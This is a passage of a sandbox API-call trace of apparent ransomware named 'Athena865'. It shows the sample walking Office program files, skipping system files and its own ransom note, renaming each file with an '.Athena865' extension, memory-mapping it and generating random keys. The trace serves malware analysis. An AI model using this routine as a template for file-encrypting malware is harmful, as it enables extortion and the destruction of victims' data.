(in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.435] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.436] CloseHandle (hObject=0x154) returned 1 [0082.436] CloseHandle (hObject=0x17c) returned 1 [0082.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0082.436] lstrcmpiW (lpString1="OSPP.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.436] lstrcmpiW (lpString1="OSPP.HTM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.436] lstrcmpiW (lpString1="OSPP.HTM", lpString2=".") returned 1 [0082.436] lstrcmpiW (lpString1="OSPP.HTM", lpString2="..") returned 1 [0082.436] lstrcmpiW (lpString1="OSPP.HTM", lpString2="windows") returned -1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="bootmgr") returned 1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="temp") returned -1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="pagefile.sys") returned -1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="boot") returned 1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="ids.txt") returned 1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="ntuser.dat") returned 1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="perflogs") returned -1 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2="MSBuild") returned 1 [0082.437] lstrlenW (lpString="OSPP.HTM") returned 8 [0082.437] lstrcpyW (in: lpString1=0x241e89e, lpString2="OSPP.HTM" | out: lpString1="OSPP.HTM") returned="OSPP.HTM" [0082.437] lstrlenW (lpString="OSPP.HTM") returned 8 [0082.437] lstrlenW (lpString="Athena865") returned 9 [0082.437] lstrlenW (lpString=".dll") returned 4 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2=".dll") returned 1 [0082.437] lstrlenW (lpString=".lnk") returned 4 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2=".lnk") returned 1 [0082.437] lstrlenW (lpString=".ini") returned 4 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2=".ini") returned 1 [0082.437] lstrlenW (lpString=".sys") returned 4 [0082.437] lstrcmpiW (lpString1="OSPP.HTM", lpString2=".sys") returned 1 [0082.437] lstrlenW (lpString="OSPP.HTM") returned 8 [0082.437] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.Athena865") returned 61 [0082.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.athena865"), dwFlags=0x1) returned 1 [0082.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.438] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15621) returned 1 [0082.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.439] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.439] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.439] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.440] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4010, lpName=0x0) returned 0x154 [0082.441] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4010) returned 0x100000 [0082.442] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.443] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.443] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.444] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.444] CloseHandle (hObject=0x154) returned 1 [0082.444] CloseHandle (hObject=0x17c) returned 1 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.444] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eac400, ftCreationTime.dwHighDateTime=0x1cabc89, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eac400, ftLastWriteTime.dwHighDateTime=0x1cabc89, nFileSizeHigh=0x0, nFileSizeLow=0xc119, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2=".") returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="..") returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="windows") returned -1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="bootmgr") returned 1 [0082.444] lstrcmpiW (lpString1="OSPP.VBS", lpString2="temp") returned -1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="pagefile.sys") returned -1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="boot") returned 1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="ids.txt") returned 1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="ntuser.dat") returned 1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="perflogs") returned -1 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2="MSBuild") returned 1 [0082.445] lstrlenW (lpString="OSPP.VBS") returned 8 [0082.445] lstrcpyW (in: lpString1=0x241e89e, lpString2="OSPP.VBS" | out: lpString1="OSPP.VBS") returned="OSPP.VBS" [0082.445] lstrlenW (lpString="OSPP.VBS") returned 8 [0082.445] lstrlenW (lpString="Athena865") returned 9 [0082.445] lstrlenW (lpString=".dll") returned 4 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2=".dll") returned 1 [0082.445] lstrlenW (lpString=".lnk") returned 4 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2=".lnk") returned 1 [0082.445] lstrlenW (lpString=".ini") returned 4 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2=".ini") returned 1 [0082.445] lstrlenW (lpString=".sys") returned 4 [0082.445] lstrcmpiW (lpString1="OSPP.VBS", lpString2=".sys") returned 1 [0082.445] lstrlenW (lpString="OSPP.VBS") returned 8 [0082.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.Athena865") returned 61 [0082.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs.athena865"), dwFlags=0x1) returned 1 [0082.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.446] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49433) returned 1 [0082.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.446] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.447] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.447] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.447] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.447] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc420, lpName=0x0) returned 0x154 [0082.449] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc420) returned 0x100000 [0082.452] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.452] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.452] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.453] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.454] CloseHandle (hObject=0x154) returned 1 [0082.454] CloseHandle (hObject=0x17c) returned 1 [0082.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.454] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.454] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xa160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLACCT.DLL", cAlternateFileName="")) returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2=".") returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="..") returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="windows") returned -1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="bootmgr") returned 1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="temp") returned -1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="pagefile.sys") returned -1 [0082.454] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="boot") returned 1 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="ids.txt") returned 1 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="ntuser.dat") returned 1 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="perflogs") returned -1 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2="MSBuild") returned 1 [0082.455] lstrlenW (lpString="OUTLACCT.DLL") returned 12 [0082.455] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLACCT.DLL" | out: lpString1="OUTLACCT.DLL") returned="OUTLACCT.DLL" [0082.455] lstrlenW (lpString="OUTLACCT.DLL") returned 12 [0082.455] lstrlenW (lpString="Athena865") returned 9 [0082.455] lstrcmpiW (lpString1="LACCT.DLL", lpString2="Athena865") returned 1 [0082.455] lstrlenW (lpString=".dll") returned 4 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2=".dll") returned 1 [0082.455] lstrlenW (lpString=".lnk") returned 4 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2=".lnk") returned 1 [0082.455] lstrlenW (lpString=".ini") returned 4 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2=".ini") returned 1 [0082.455] lstrlenW (lpString=".sys") returned 4 [0082.455] lstrcmpiW (lpString1="OUTLACCT.DLL", lpString2=".sys") returned 1 [0082.455] lstrlenW (lpString="OUTLACCT.DLL") returned 12 [0082.455] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL.Athena865") returned 65 [0082.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll.athena865"), dwFlags=0x1) returned 1 [0082.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLACCT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlacct.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.457] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41312) returned 1 [0082.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.457] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.458] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.458] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.458] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa460, lpName=0x0) returned 0x154 [0082.459] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa460) returned 0x100000 [0082.461] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.462] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.462] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.463] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0082.464] CloseHandle (hObject=0x154) returned 1 [0082.464] CloseHandle (hObject=0x17c) returned 1 [0082.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x28960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLCTL.DLL", cAlternateFileName="")) returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2=".") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="..") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="windows") returned -1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="bootmgr") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="temp") returned -1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="pagefile.sys") returned -1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="boot") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="ids.txt") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="ntuser.dat") returned 1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="perflogs") returned -1 [0082.464] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2="MSBuild") returned 1 [0082.465] lstrlenW (lpString="OUTLCTL.DLL") returned 11 [0082.465] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLCTL.DLL" | out: lpString1="OUTLCTL.DLL") returned="OUTLCTL.DLL" [0082.465] lstrlenW (lpString="OUTLCTL.DLL") returned 11 [0082.465] lstrlenW (lpString="Athena865") returned 9 [0082.465] lstrcmpiW (lpString1="TLCTL.DLL", lpString2="Athena865") returned 1 [0082.465] lstrlenW (lpString=".dll") returned 4 [0082.465] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2=".dll") returned 1 [0082.465] lstrlenW (lpString=".lnk") returned 4 [0082.465] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2=".lnk") returned 1 [0082.465] lstrlenW (lpString=".ini") returned 4 [0082.465] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2=".ini") returned 1 [0082.465] lstrlenW (lpString=".sys") returned 4 [0082.465] lstrcmpiW (lpString1="OUTLCTL.DLL", lpString2=".sys") returned 1 [0082.465] lstrlenW (lpString="OUTLCTL.DLL") returned 11 [0082.465] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL.Athena865") returned 64 [0082.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll.athena865"), dwFlags=0x1) returned 1 [0082.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLCTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlctl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.466] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=166240) returned 1 [0082.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.466] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.467] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.467] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.467] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28c60, lpName=0x0) returned 0x154 [0082.469] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28c60) returned 0x170000 [0082.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.475] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.475] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.476] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0082.477] CloseHandle (hObject=0x154) returned 1 [0082.478] CloseHandle (hObject=0x17c) returned 1 [0082.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 